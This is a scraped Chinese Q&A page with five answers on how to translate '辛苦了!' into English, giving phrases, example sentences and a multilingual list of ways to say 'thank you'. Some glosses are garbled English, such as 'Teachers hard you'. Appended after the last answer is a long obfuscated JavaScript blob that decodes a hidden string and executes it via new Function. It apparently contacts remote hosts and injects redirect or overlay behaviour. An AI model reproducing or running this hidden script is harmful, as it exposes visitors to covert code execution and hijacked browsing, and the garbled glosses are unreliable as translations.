"辛苦了!"怎么翻译成英语

2024-10-31 10:09:28
推荐回答(5个)
回答1:

"辛苦了!"的英文翻译是:

You've had a long day!

关键词汇

a long day

漫长的一天

短语:

it's a long day 忙了一天

many a long day 好久

Been a Long Day 漫长的一天

A Long Day Past 漫长一天过去

A Long Day Work 辛劳的一天

had a long day 很辛苦的一天

After a long day 一天之后

扩展资料

相关例句:

1、A long day's march was before him. 

一整天的跋涉正在等着他。

2、At the shoe factory she put in a long day. 

她在制鞋厂埋头工作了一整天。

3、Nate, the kids are tired. it's been a long day. 

奈特,已经走了一整天,孩子们都累了。

4、We have a long day's work in front of us. 

我们还有一整天的工作要干呢。

5、I'm tired. It's been a long day. 

我累了。这一天可真够长的。

回答2:

英语翻译"辛苦了!" 如果是表达对对方辛苦的慰问,一般不是直接说辛苦了,而是直接表示感谢,需要根据语境来选择,一般会说:“You work hard,thank you!”“Good job,thank you”或者 Thanks for your hard work. 以表示辛苦了,并表示感谢。

如果是直接中文翻译,辛苦了用tired,hard,toilsome等形容词来表达,但一般只适合于自己表达辛苦的意思或者对他人描述辛苦了的状态,而不是向对方表示辛苦了的慰问。

1,tired,英 [ˈtaɪəd],美 [ˈtaɪərd]  做形容词adj.表示疲倦的;困倦的。

例句1,Michael must be tired and he has to rest after his long trip. 迈克尔一定很辛苦了,他在长途旅行以后必须休息。

例句2,She was so tired today that she fell asleep quickly. 她今天非常疲劳/辛苦了,所以很快就睡着了。

2,hard,英 [hɑ:d],美 [hɑ:rd] ,做形容词adj.表示硬的;困难的;努力的;艰苦的;艰难的。

例句1,Learning english is a very hard thing.学好英语是件很辛苦的事。

例句2,It must be very hard for you to reach such a good achievement in a short time. 在这么短的时间达到这么好的成果,你一定是很辛苦了。

3,toilsome,英 ['tɔɪlsəm],美 ['tɔɪlsəm]  做形容词adj.表示辛苦的,劳累的。

例句1,Each time he returned home after a day's work, he feel toilsome and just want sleep. 他一天的工作结束后回到家,只感觉非常辛苦了,什么都不想做,只想睡觉。

例句2,You must be toilsome after such a long flight. 这么长的飞行时间,你一定辛苦了。

扩展资料

与辛苦意思相反的英语表达有:

1,easy,英[ˈi:zi],美 [ˈizi],做形容词adj.意思是容易的;舒适的;宽裕的;从容的,做副词adv.表示容易地;不费力地;悠闲地;缓慢地。

例句如When I came back from the East last autumn, I was tired of easy living. 去年秋天我从东部回来后,我开始对舒适的生活厌倦了。

2,relaxed,英 [rɪˈlækst],美 [rɪˈlækst],做形容词adj.表示轻松的;自在的;无拘无束的;舒适的,做副词adv.表示轻松地;自在地;舒适地;随便地。例句如I feel relaxed and peaceful.我感到放松而平和。

3,comfortable,英 [ˈkʌmftəbl],美 [ˈkʌmfətəbəl],做形容词adj.表示舒适的;安逸的,处于轻松的;充裕的。例句The poor man always wants to have a really comfortable home. 这个可怜的男人一直想拥有一个真正舒适的家。

回答3:

"辛苦了!"翻译成英语是:"Hard work!"

例句:

1、你们工作辛苦了。

You've been working very hard. 

2、你们辛苦了一整天。

You have had a hectic [ tiring] day. 

3、今天你们可够辛苦了。

You've really done a hard day's work. 

”辛苦了“还可以翻译成:You've had a long day; You've had a long flight.例:

1、She felt like a drink after a hard day. 

辛苦了一天后她想喝上一杯。

2、My wife keeps on saying that I work too hard. 

我妻子总说我工作太辛苦了。

扩展资料

“您辛苦了”这句话并不仅仅表达字面意义,当说“您辛苦了”这句话的时候,还想表达这些:
谢谢您的帮助;我承认你的帮助并处于谦卑状态等意思,根据当时的情景(situation)语境,还可以有不同的表达方式。

1、  感谢对方帮助:

Thank you. I couldn't have done it without you.

辛苦了,我想没有你我做不成那件事。

2、  同事之间互相鼓励:

Great job. Thank you!

很棒的工作。谢谢您(辛苦了)!

3、 对父母,长辈:

Thank you. You're the best dad / Mum.

谢谢您(辛苦了),您是最好的爸爸/妈妈

Thank you. I'm so proud to have you.

谢谢您(辛苦了)。有你我感到非常自豪。

回答4:

"辛苦了!"可以翻译成

1、You' ve had a long day.

用法例句

So I should give some words back to you: my teacher, you've had a long day, have a rest, and happy teachers' day.

那么,我也应该送你几句话:老师,你工作一天了,休息一下吧,祝福你教师节快乐。

2、good job ;well done

用法例句

Managers need to communicate with their people to find out what makes them feel good (for some, it's a raise; for others, it's public recognition) and then to reward them for a job well done.

管理者需要与员工沟通,找出他们各自喜好的奖励方式(有的人希望涨工资,有的人希望得到公开表扬),用以嘉奖他们良好的工作表现。

短语搭配

1、老师辛苦你了Teachers hard you 

2、和我说话辛苦你了Talk to me hard you 

3、老婆你辛苦了Mcyaoyao Remix 

4、同志你辛苦了comrade You are working hard 

5、你辛苦了You worked hard ; Thanks for your hard work 

6、老师你辛苦了Your hard work teachers 

扩展资料

“你辛苦了”用英语表达You're so tired,但是英语里面,根本没有这样的表达,一是因为西方人不善“放低身段”,他们的自我意识非常强烈,抗拒“尊卑文化”;二是因为他们要夸人就往死里夸,不会如此含蓄。

那我们想要传达这层意思的时候,可以这么说

1. 对帮助你的人说  

Thank you. I really appreciate it./ I’m so grateful.

很感谢,我很感激。

Thanks for your hard work.

谢谢,辛苦了!

I couldn't have done it without you.

没你我自己肯定做不来。

I don't know what I'd(would) do without you.

没你的话我都不知道该怎么办。

2. 对同事、同学说  

Good/great/fantastic job, guy! We did it!

干得真棒!我们做到了。

Keep up with the good work!

继续努力!

3. 对父母、师长、朋友等表示感恩  

You are the best dad/mom/teacher!

你是全世界最好的爸爸/妈妈/老师!

I'm forever/so grateful for you!

我很感激有你/您!

回答5:

"辛苦了!"可以翻译成

1、You' ve had a long day.

用法例句

So I should give some words back to you: my teacher, you've had a long day, have a rest, and happy teachers' day.

那么,我也应该送你几句话:老师,你工作一天了,休息一下吧,祝福你教师节快乐。

2、good job ;well done

用法例句

Managers need to communicate with their people to find out what makes them feel good ( for some ,  it's a raise; for others  , it's public recognition )  and then to reward them for a job well done.

管理者需要与员工沟通,找出他们各自喜好的奖励方式(有的人希望涨工资,有的人希望得到公开表扬),用以嘉奖他们良好的工作表现。

短语搭配

1、老师辛苦你了Teachers hard you 

2、和我说话辛苦你了Talk to me hard you 

3、老婆你辛苦了Mcyaoyao Remix 

扩展资料:

世界各国的谢谢表达

1、希伯来语:toda

2、英语:Thank you

3、菲律宾语:Salamat Do

4、日语:あリがとゥ

5、韩语:감사합니다 

6、马来语:terima Kasih

7、越南语:Cám o*n

8、泰语:kob-khun

9、印度语:dhanyavaad

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();